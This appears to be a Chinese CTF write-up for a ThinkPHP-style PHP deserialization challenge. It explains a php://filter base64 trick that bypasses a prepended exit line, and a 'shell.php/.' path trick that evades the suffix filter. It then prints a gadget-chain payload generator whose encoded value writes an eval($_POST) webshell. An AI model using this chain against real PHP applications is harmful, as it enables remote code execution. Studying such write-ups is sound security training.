很眼熟的一题,看着像一个 thinkphp 反序列化题。
$data = "\n" . $data;
$result = file_put_contents($filename, $data);
这边明显就是一个死亡函数绕过,且参数都是可控的,只是需要一些处理,这里要注意几个点:
从下面这句可以看出,filename 的名字是拼凑的,除了 uniqid() 是不可控的其他都是可控的,可以用 ...uploads/ uniqid()/../shell.php/. 绕过,因为它过滤了.php 后缀,且 像 phtml,PHP.... 等等后缀是不允许访问的,所以我们可以用 shell.php/. 绕过,因为在做路径处理的时候,会递归删除掉路径中存在的 /.。(当然上传图片马,并上传user.ini 去解析它应该也是可以的)
$cache_filename = $this->options['prefix'] . uniqid() . $name;if(substr($cache_filename, strlen('.php')) === '.php')
而 $data,就是常说的死亡函数绕过了,因为 base64 是四个一组解析的所以可以利用这个去掉死亡函数,其他的就是反序列化链了。
A:: __destruct(autosave=0)
A::save
A::getForStorage
(返回的是set的value,也就是最后的data)B::set(name为A::save 的 key)
(name的绕过已经说过,在serialize函数处只需构造成base64_decode($data)就行了)
payload:
最后访问 uploads/shell.php getflag 就行了。
protected $store;protected $key;protected $expire;public $autosave;public $cache;public $complete;public function __construct(){$this->autosave = 0;$this->cache = array();$this->complete = 'YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKeklsMHBPejgr';$this->key = '/../succ.php/.';$this->store = new B();}
}
class B {public $options;public function __construct(){$this->options = array('serialize'=>'base64_decode','data_compress' => false,'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/");}
}
echo urlencode(serialize(new A()));
上一篇:索尼 2024 年首场 State of Play 发布会官宣 2 月 1 日举行 索尼发布会2024 索尼2023年秋季发布会
下一篇:马斯克旗下脑机接口公司首次将芯片植入人类大脑:只需思考即可控制电子设备 马斯克旗下脑机接口公司首次将芯片植入人类大脑:只需思考即可控制电子设备